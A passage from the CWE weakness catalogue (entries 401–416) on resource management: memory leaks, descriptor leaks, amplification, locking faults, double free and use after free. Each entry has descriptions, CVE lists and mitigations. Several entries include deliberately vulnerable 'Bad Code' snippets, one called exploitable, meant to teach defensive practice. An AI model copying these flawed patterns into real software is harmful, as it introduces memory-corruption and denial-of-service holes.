  }
  return buf;
}
```

Example 2:

Here the problem is that every time a connection is made, more memory is allocated. So if one just opened up more and more connections, eventually the machine would run out of memory.

C Example: *Bad Code*

```
bar connection(){
  foo = malloc(1024);
  return foo;
}
endConnection(bar foo) {
  free(foo);
}
int main() {
  while(1) //thread 1
```

```
  //On a connection
  foo=connection(); //thread 2
  //When the connection ends
  endConnection(foo)
}
```

Observed Examples

Reference	Description
CVE-2001-0136	Memory leak via a series of the same command.
CVE-2002-0574	Memory leak when counter variable is not decremented.
CVE-2004-0222	Memory leak via unknown manipulations as part of protocol test suite.
CVE-2004-0427	Memory leak when counter variable is not decremented.
CVE-2005-3119	Memory leak because function does not free() an element of a data structure.
CVE-2005-3181	Kernel uses wrong function to release a data structure, preventing data from being properly tracked by other code.

Potential Mitigations

Pre-design: Use a language or compiler that performs automatic bounds checking.

Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Pre-design through Build: The Boehm-Demers-Weiser Garbage Collector or valgrind can be used to detect leaks in code. This is not a complete solution as it is not 100% effective.

Other Notes

Memory leaks have two common and sometimes overlapping causes:

Error conditions and other exceptional circumstances

Confusion over which part of the program is responsible for freeing the memory

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	398	Indicator of Poor Code Quality	**700**	423
ChildOf	P	399	Resource Management Errors	**699**	424
ChildOf	WE	404	Improper Resource Shutdown or Release	**1000**	431
ChildOf	P	633	Weaknesses that Affect Memory	**631**	615
ChildOf	P	730	OWASP Top Ten 2004 Category A9 - Denial of Service	**711**	720
CanFollow	*WE*	*390*	*Detection of Error Condition Without Action*	*1000*	*415*
MemberOf	*V*	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*

Relationship Notes

This is often a resultant weakness due to improper handling of malformed data or early termination of sessions.

Affected Resources

- Memory

Functional Areas

- Memory management

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Memory leak
7 Pernicious Kingdoms			Memory Leak
CLASP			Failure to deallocate data
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service

White Box Definitions

A weakness where the code path has:

1. start statement that allocates dynamically allocated memory resource
2. end statement that loses identity of the dynamically allocated memory resource creating situation where dynamically allocated memory resource is never relinquished

Where "loses" is defined through the following scenarios:

1. identity of the dynamic allocated memory resource never obtained

2. identity of the dynamic allocated memory resource obtained but got re-written (missing beyond recovery)

3. identity of the dynamic allocated memory resource obtained but never passed on to function for memory resource release

4. the statement assigns another value to the last data element that stored the identity of the dynamically allocated memory resource (no more aliases remain)

5. the last data element that stored the identity of the dynamically allocated resource has reached the end of its scope at the statement

References

J. Whittaker and H. Thompson. "How to Break Software Security". Addison Wesley. 2003.

CWE-402: Transmission of Private Resources into a New Sphere (aka 'Resource Leak')

Weakness ID: 402 *(Weakness Class)* **Status:** Draft

Description

Summary

The software makes resources available to untrusted parties when those resources are only intended to be accessed by the software.

Time of Introduction

- Architecture and Design
- Implementation

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	399	Resource Management Errors	**699**	424
ChildOf	Wc	668	Exposure of Resource to Wrong Sphere	**1000**	658
ParentOf	Wb	*403*	*UNIX File Descriptor Leak*	***699 1000***	*430*
ParentOf	Wb	*619*	*Dangling Database Cursor ('Cursor Injection')*	*699 1000*	*604*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Resource leaks

CWE-403: UNIX File Descriptor Leak

Weakness ID: 403 *(Weakness Base)* **Status:** Draft

Description

Summary

A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Operating Systems

- UNIX

Observed Examples

Reference	Description
CVE-2000-0094	Access to restricted resource using modified file descriptor for stderr.
CVE-2002-0638	Open file descriptor used as alternate channel in complex race condition.

Reference	Description
CVE-2003-0489	Program does not fully drop privileges after creating a file descriptor, which allows access to the descriptor via a separate vulnerability.
CVE-2003-0937	User bypasses restrictions by obtaining a file descriptor then calling setuid program, which does not close the descriptor.
CVE-2004-1033	File descriptor leak allows read of restricted files.
CVE-2004-2215	Terminal manager does not properly close file descriptors, allowing attackers to access terminals of other users.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	**699** **1000**	430
ChildOf	C	634	Weaknesses that Affect System Processes	**631**	616
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728

Affected Resources

- System Process
- File/Directory

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		UNIX file descriptor leak
CERT C Secure Coding	FIO42-C	Ensure files are properly closed when they are no longer needed

CWE-404: Improper Resource Shutdown or Release

Weakness ID: 404 *(Weakness Base)* **Status:** Draft

Description

Summary

The program fails to release - or incorrectly releases - a system resource before it is made available for re-use.

Extended Description

When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Availability

Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.

Confidentiality

When a resource containing sensitive information is not correctly shutdown, it may expose the sensitive data in a subsequent allocation.

Likelihood of Exploit

Low to Medium

Demonstrative Examples

Example 1:

The following method never closes the file handle it opens. The Finalize() method for StreamReader eventually calls Close(), but there is no guarantee as to how long it will take before

the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

Bad Code

```
private void processFile(string fName) {
  StreamWriter sw = new
  StreamWriter(fName);
  string line;
  while ((line = sr.ReadLine()) != null)
    processLine(line);
}
```

Example 2:

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application. Using the following database connection pattern will ensure that all opened connections are closed. The con.close() call should be the first executable statement in the finally block.

Bad Code

```
try {
  Connection con = DriverManager.getConnection(some_connection_string)
}
catch ( Exception e ) {
  log( e )
}
finally {
  con.close()
}
```

Example 3:

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

C# Example:

Bad Code

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

Example 4:

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

C Example:

Bad Code

```
int decodeFile(char* fName) {
  char buf[BUF_SZ];
  FILE* f = fopen(fName, "r");
  if (!f) {
    printf("cannot open %s\n", fName);
    return DECODE_FAIL;
  }
  else {
    while (fgets(buf, BUF_SZ, f)) {
      if (!checkChecksum(buf)) {
        return DECODE_FAIL;
```

```
      }
      else {
        decodeBlock(buf);
      }
    }
  }
  fclose(f);
  return DECODE_SUCCESS;
}
```

Example 5:

In this example, the program fails to use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

C++ Example: *Bad Code*

```
class A {
  void foo();
};
void A::foo(){
  int *ptr;
  ptr = (int*)malloc(sizeof(int));
  delete ptr;
}
```

Example 6:

In this example, the program calls the delete[] function on non-heap memory.

C++ Example: *Bad Code*

```
class A{
  void foo(bool);
};
void A::foo(bool heap) {
  int localArray[2] = {
    11,22
  };
  int *p = localArray;
  if (heap){
    p = new int[2];
  }
  delete[] p;
}
```

Observed Examples

Reference	Description
CVE-1999-1127	Does not shut down named pipe connections if malformed data is sent.
CVE-2001-0830	Sockets not properly closed when attacker repeatedly connects and disconnects from server.
CVE-2002-1372	Return values of file/socket operations not checked, allowing resultant consumption of file descriptors.

Potential Mitigations

Requirements

Use a language with features that can automatically mitigate or eliminate resource-shutdown weaknesses.

For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free memory in a function. If you allocate memory that you intend to free upon completion of the function, you must be sure to free the memory at all exit points for that function including error conditions.

Implementation

Memory should be allocated/freed using matching functions such as malloc/free, new/delete, and new[]/delete[].

Implementation

When releasing a complex object or structure, ensure that you properly dispose of all of its member components, not just the object itself.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Testing

Stress-test the software by calling it simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Testing

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Other Notes

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Failing to properly release or shutdown resources can be primary to resource exhaustion, performance, and information confidentiality problems to name a few.

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Failing to properly release or shutdown resources can be resultant from improper error handling or insufficient resource tracking.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	398	Indicator of Poor Code Quality	699 **700**	423
ChildOf	C	399	Resource Management Errors	**699**	424
PeerOf	Wc	405	Asymmetric Resource Consumption (Amplification)	1000	435
ChildOf	Wc	664	Improper Control of a Resource Through its Lifetime	**1000**	652
ChildOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	**711**	720
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728
ChildOf	C	752	Risky Resource Management	**750**	733
PeerOf	We	*239*	*Failure to Handle Incomplete Element*	*1000*	*262*
ParentOf	Wv	*262*	*Not Using Password Aging*	***1000***	*288*
ParentOf	We	*263*	*Password Aging with Long Expiration*	***1000***	*289*
ParentOf	We	*299*	*Improper Check for Certificate Revocation*	***1000***	*325*
ParentOf	We	*401*	*Failure to Release Memory Before Removing Last Reference ('Memory Leak')*	***1000***	*427*
ParentOf	We	*459*	*Incomplete Cleanup*	***1000***	*481*
ParentOf	Wv	*568*	*finalize() Method Without super.finalize()*	***1000***	*567*
ParentOf	We	*619*	*Dangling Database Cursor ('Cursor Injection')*	***699*** ***1000***	*604*
ParentOf	We	*763*	*Release of Invalid Pointer or Reference*	***1000***	
ParentOf	We	*772*	*Missing Release of Resource after Effective Lifetime*	***1000***	

Relationship Notes

Overlaps memory leaks, asymmetric resource consumption, malformed input errors.

Functional Areas

- Non-specific

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improper resource shutdown or release
7 Pernicious Kingdoms			Unreleased Resource
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	FIO42-C		Ensure files are properly closed when they are no longer needed

CWE-405: Asymmetric Resource Consumption (Amplification)

Weakness ID: 405 *(Weakness Class)* **Status:** Incomplete

Description

Summary

Software that fails to appropriately monitor or control resource consumption can lead to adverse system performance.

Extended Description

This situation is amplified if the software allows malicious users or attackers to consume more resources than their access level permits. Exploiting such a weakness can lead to asymmetric resource consumption, aiding in amplification attacks against the system or the network.

Time of Introduction

- Operation
- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

An application must make resources available to a client commensurate with the client's access level.

An application must, at all times, keep track of allocated resources and meter their usage appropriately.

Other Notes

There are probably several sub-types besides these.

Sometimes this is a factor in "flood" attacks, but other types of amplification exist.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		399	Resource Management Errors	**699**	424
ChildOf	We	664	Improper Control of a Resource Through its Lifetime	**1000**	652
ChildOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	**711**	720
PeerOf	We	*404*	*Improper Resource Shutdown or Release*	*1000*	*431*
ParentOf	We	*406*	*Insufficient Control of Network Message Volume (Network Amplification)*	***699*** ***1000***	*436*
ParentOf	We	*407*	*Algorithmic Complexity*	***699*** ***1000***	*437*
ParentOf	We	*408*	*Incorrect Behavior Order: Early Amplification*	***699*** *1000*	*437*
ParentOf	We	*409*	*Improper Handling of Highly Compressed Data (Data Amplification)*	***699*** ***1000***	*438*

Functional Areas

- Non-specific

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Asymmetric resource consumption (amplification)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service

CWE-406: Insufficient Control of Network Message Volume (Network Amplification)

Weakness ID: 406 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the software to transmit more traffic than should be allowed for that actor.

Extended Description

In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.

Time of Introduction

- Operation
- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Enabling Factors for Exploitation

If the application uses UDP, then it could potentially be subject to spoofing attacks that use the inherent weaknesses of UDP to perform traffic amplification, although this problem can exist in other protocols or contexts.

Observed Examples

Reference	Description
CVE-1999-0513	Smurf attack, spoofed ICMP packets to broadcast addresses.
CVE-1999-1066	Game server sends a large amount.
CVE-1999-1379	DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker.
CVE-2000-0041	Large datagrams are sent in response to malformed datagrams.

Potential Mitigations

An application must make network resources available to a client commensurate with the client's access level.

Define a clear policy for network resource allocation and consumption.

An application must, at all times, keep track of network resources and meter their usage appropriately.

Other Notes

This can be resultant from weaknesses that simplify spoofing attacks.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	405	Asymmetric Resource Consumption (Amplification)	**699 1000**	435

Theoretical Notes

Network amplification, when performed with spoofing, is normally a multi-channel attack from attacker (acting as user) to amplifier, and amplifier to victim.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Network Amplification

CWE-407: Algorithmic Complexity

Weakness ID: 407 *(Weakness Base)* **Status:** Incomplete

Description

Summary

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

The typical consequence is CPU consumption, but memory consumption and consumption of other resources can also occur.

Observed Examples

Reference	Description
CVE-2001-1501	CPU and memory consumption using many wildcards.
CVE-2002-1203	Product performs unnecessary processing before dropping an invalid packet.
CVE-2003-0244	CPU consumption via inputs that cause many hash table collisions.
CVE-2003-0364	CPU consumption via inputs that cause many hash table collisions.
CVE-2004-2527	Product allows attackers to cause multiple copies of a program to be loaded more quickly than the program can detect that other copies are running, then exit. This type of error should probably have its own category, where teardown takes more time than initialization.
CVE-2005-1792	Memory leak by performing actions faster than the software can clear them.
CVE-2005-2506	
CVE-2006-3379	
CVE-2006-3380	
CVE-2006-6931	

Other Notes

Similar issues can occur in cryptography.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	405	Asymmetric Resource Consumption (Amplification)	**699 1000**	435

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Algorithmic Complexity

References

Crosby and Wallach. "Algorithmic Complexity Attacks". < http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003/index.html >.

CWE-408: Incorrect Behavior Order: Early Amplification

Weakness ID: 408 *(Weakness Base)* **Status:** Draft

Description

Summary

The software allows an entity to perform a legitimate but expensive operation before sufficient authentication or authorization has taken place.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2004-2458	Tool creates directories before authenticating user. general class of issue? step problem on product's side.

Other Notes

Overlaps authentication errors.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	405	Asymmetric Resource Consumption (Amplification)	**699** 1000	435
ChildOf	Wc	696	Incorrect Behavior Order	**1000**	686

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Early Amplification

CWE-409: Failure to Handle Highly Compressed Data (Data Amplification)

Weakness ID: 409 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not properly handle a compressed input with a very high compression ratio that produces a large output.

Extended Description

An example of data amplification is a "decompression bomb," a small ZIP file that can produce a large amount of data when it is decompressed.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	405	Asymmetric Resource Consumption (Amplification)	**699** **1000**	435

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Data Amplification

CWE-410: Insufficient Resource Pool

Weakness ID: 410 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.

Extended Description

Frequently the consequence is a "flood" of connection or sessions.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Floods often cause a crash or other problem besides denial of the resource itself; these are likely examples of *other* vulnerabilities, not an insufficient resource pool.

Demonstrative Examples

In the following snippet from a Tomcat configuration file, a JDBC connection pool is defined with a maximum of 5 simultaneous connections (with a 60 second timeout). In this case, it may be trivial for an attacker to instigate a denial of service (DoS) by using up all of the available connections in the pool.

Java Example: *Bad Code*

```
<Resource name="jdbc/exampledb"
auth="Container"
type="javax.sql.DataSource"
removeAbandoned="true"
removeAbandonedTimeout="30"
maxActive="5"
maxIdle="5"
maxWait="60000"
username="testuser"
password="testpass"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost/exampledb"/>
```

Observed Examples

Reference	Description
CVE-1999-1363	Large number of locks on file exhausts the pool and causes crash.
CVE-2001-1340	Product supports only one connection and does not disconnect a user who does not provide credentials.
CVE-2002-0406	Large number of connections without providing credentials allows connection exhaustion.

Potential Mitigations

Do not perform resource-intensive transactions for unauthenticated users and/or invalid requests.

Consider implementing a velocity check mechanism which would detect abusive behavior.

Consider load balancing as an option to handle heavy loads.

Make sure that resource handles are properly closed when no longer needed.

Find the resouce intensive operations in your code and consider protecting them from abuse (e.g. malicious automated script which runs the resources out).

Other Notes

"Large" is relative to the size of the resource pool, which could be very small. See examples.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		399	Resource Management Errors	**699**	424
CanPrecede	We	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	699 1000	425
ChildOf	We	664	Improper Control of a Resource Through its Lifetime	**1000**	652

Nature	Type	ID	Name	V	Page
ChildOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	**711**	720
CanAlsoBe	We	*412*	*Unrestricted Lock on Critical Resource*	*1000*	*440*

Functional Areas

- Non-specific

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient Resource Pool
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service

CWE-411: Resource Locking Problems

Category ID: 411 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of locks that are used to control access to resources.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		399	Resource Management Errors	**699**	424
ParentOf	We	*412*	*Unrestricted Lock on Critical Resource*	*699*	*440*
ParentOf	We	*413*	*Insufficient Resource Locking*	***699***	*441*
ParentOf	We	*414*	*Missing Lock Check*	***699***	*442*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Resource Locking problems

CWE-412: Unrestricted Lock on Critical Resource

Weakness ID: 412 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software properly checks for the existence of a lock on a critical resource, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.

Extended Description

This prevents the software from acting on the resource or performing other behaviors that are controlled by the presence of the lock. Relevant locks might include an exclusive lock or mutex, or modifying a shared resource that is treated as a lock. If the lock can be held for an indefinite period of time, then the denial of service could be permanent.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Availability

Inconsistent locking discipline can lead to deadlock.

Detection Factors

White Box

Automated code analysis techniques might not be able to reliably detect this weakness, since the application's behavior and general security model dictate which resource locks are critical. Interpretation of the weakness might require knowledge of the environment, e.g. if the existence of a file is used as a lock, but the file is created in a world-writable directory.

Observed Examples

Reference	Description
CVE-2000-0338	Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness.
CVE-2000-1198	Chain: Lock files with predictable names. Resultant from randomness.
CVE-2001-0682	Program can not execute when attacker obtains a mutex.
CVE-2002-0051	Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition.
CVE-2002-1869	Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close.
CVE-2002-1914	Program can not execute when attacker obtains a lock on a critical output file.
CVE-2002-1915	Program can not execute when attacker obtains a lock on a critical output file.

Potential Mitigations

Perform input validation.

Do not use user controlled variable in resource settings.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699** **700**	382
CanAlsoBe	W	410	Insufficient Resource Pool	1000	438
ChildOf	C	411	Resource Locking Problems	699	440
ChildOf	W	667	Insufficient Locking	**1000**	657
ChildOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	**711**	720
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*

Relationship Notes

This overlaps Insufficient Resource Pool when the "pool" is of size 1. It can also be resultant from race conditions, although the timing window could be quite large in some cases.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unrestricted Critical Resource Lock
7 Pernicious Kingdoms			Deadlock
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
25	Forced Deadlock	

CWE-413: Insufficient Resource Locking

Weakness ID: 413 *(Weakness Base)* **Status:** Draft

Description

Summary

A product does not sufficiently lock resources, in a way that either (1) allows an attacker to simultaneously access those resources, or (2) causes other errors that lead to a resultant weakness.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Use a non-conflicting privilege scheme.

Use synchronization when locking a resource.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		411	Resource Locking Problems	**699**	440
ChildOf		667	Insufficient Locking	**1000**	657
ParentOf		*591*	*Sensitive Data Storage in Improperly Locked Memory*	***699 1000***	*582*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insufficient Resource Locking

CWE-414: Missing Lock Check

Weakness ID: 414 *(Weakness Base)* **Status:** Draft

Description

Summary

A product does not check to see if a lock is present before performing sensitive operations on a resource.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2004-1056	Product does not properly check if a lock is present, allowing other attackers to access functionality.

Potential Mitigations

Implement a reliable lock mechanism.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		411	Resource Locking Problems	**699**	440
ChildOf		667	Insufficient Locking	**1000**	657

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Missing Lock Check

CWE-415: Double Free

Weakness ID: 415 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.

Extended Description

When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.

Alternate Terms

Double-free

Time of Introduction

- Architecture and Design

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Access Control

Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.

Likelihood of Exploit

Low to Medium

Demonstrative Examples

Example 1:

The following code shows a simple example of a double free vulnerability.

Bad Code

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
  free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

Error conditions and other exceptional circumstances

Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 2:

While contrived, this code should be exploitable on Linux distributions which do not ship with heap-chunk check summing turned on.

Bad Code

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)
int main(int argc, char **argv) {
  char *buf1R1;
  char *buf2R1;
  char *buf1R2;
  buf1R1 = (char *) malloc(BUFSIZE2);
  buf2R1 = (char *) malloc(BUFSIZE2);
  free(buf1R1);
  free(buf2R1);
  buf1R2 = (char *) malloc(BUFSIZE1);
  strncpy(buf1R2, argv[1], BUFSIZE1-1);
  free(buf2R1);
  free(buf1R2);
}
```

Observed Examples

Reference	Description
CVE-2002-0059	Double free from malformed compressed data.
CVE-2003-0545	Double free from invalid ASN.1 encoding.
CVE-2003-1048	Double free from malformed GIF.
CVE-2004-0642	Double free resultant from certain error conditions.
CVE-2004-0772	Double free resultant from certain error conditions.

Reference	Description
CVE-2005-0891	Double free from malformed GIF.
CVE-2005-1689	Double free resultant from certain error conditions.

Potential Mitigations

Architecture and Design

Choose a language that provides automatic memory management.

Implementation

Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

Implementation

Use a static analysis tool to find double free instances.

Other Notes

Also a Consequence.

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	Weakness	123	Write-what-where Condition	1000	154
ChildOf	Weakness Category	398	Indicator of Poor Code Quality	**700**	423
ChildOf	Category	399	Resource Management Errors	**699**	424
PeerOf	Weakness	416	Use After Free	**699** 1000	445
ChildOf	Category	633	Weaknesses that Affect Memory	**631**	615
ChildOf	Weakness	666	Operation on Resource in Wrong Phase of Lifetime	**1000**	656
ChildOf	Weakness Category	675	Duplicate Operations on Resource	1000	663
ChildOf	Category	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	**734**	727
PeerOf	Weakness	*364*	*Signal Handler Race Condition*	*1000*	*388*
MemberOf	View	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*

Relationship Notes

This is usually resultant from another weakness, such as an unhandled error or race condition between threads. It could also be primary to weaknesses such as buffer overflows.

Affected Resources

- Memory

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		DFREE - Double-Free Vulnerability
7 Pernicious Kingdoms		Double Free
CLASP		Doubly freeing memory
CERT C Secure Coding	MEM00-C	Allocate and free memory in the same module, at the same level of abstraction
CERT C Secure Coding	MEM01-C	Store a new value in pointers immediately after free()
CERT C Secure Coding	MEM31-C	Free dynamically allocated memory exactly once

White Box Definitions

A weakness where code path has:

1. start statement that relinquishes a dynamically allocated memory resource
2. end statement that relinquishes the dynamically allocated memory resource

Maintenance Notes

It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.

CWE-416: Use After Free

Weakness ID: 416 *(Weakness Base)* **Status:** Draft

Description

Summary

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

Alternate Terms

Use-After-Free

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity

The use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere.

Availability

If chunk consolidation occur after the use of previously freed data, the process may crash when invalid data is used as chunk information.

Access Control (instruction processing): If malicious data is entered before chunk consolidation can take place, it may be possible to take advantage of a write-what-where primitive to execute arbitrary code.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZER1 512
#define BUFSIZER2 ((BUFSIZER1/2) - 8)
int main(int argc, char **argv) {
  char *buf1R1;
  char *buf2R1;
  char *buf2R2;
  char *buf3R2;
  buf1R1 = (char *) malloc(BUFSIZER1);
  buf2R1 = (char *) malloc(BUFSIZER1);
  free(buf2R1);
  buf2R2 = (char *) malloc(BUFSIZER2);
  buf3R2 = (char *) malloc(BUFSIZER2);
  strncpy(buf2R1, argv[1], BUFSIZER1-1);
  free(buf1R1);
  free(buf2R2);
  free(buf3R2);
}
```

Example 2:

The following code illustrates a use after free error:

Bad Code

```
char* ptr = (char*)malloc (SIZE); ...
if (err) {
  abrt = 1;
  free(ptr);
}
```

```
...
if (abrt) {
  logError("operation aborted before commit", ptr);
}
```

Observed Examples

Reference	Description
CVE-2006-4997	freed pointer dereference

Potential Mitigations

Architecture and Design

Choose a language that provides automatic memory management.

Implementation

Ensuring that all pointers are set to NULL once they memory they point to has been freed can be an effective strategy. The utilization of multiple or complex data structures may lower the usefulness of this strategy.

Implementation

Use a static analysis tool to find instances of use after free.

Other Notes

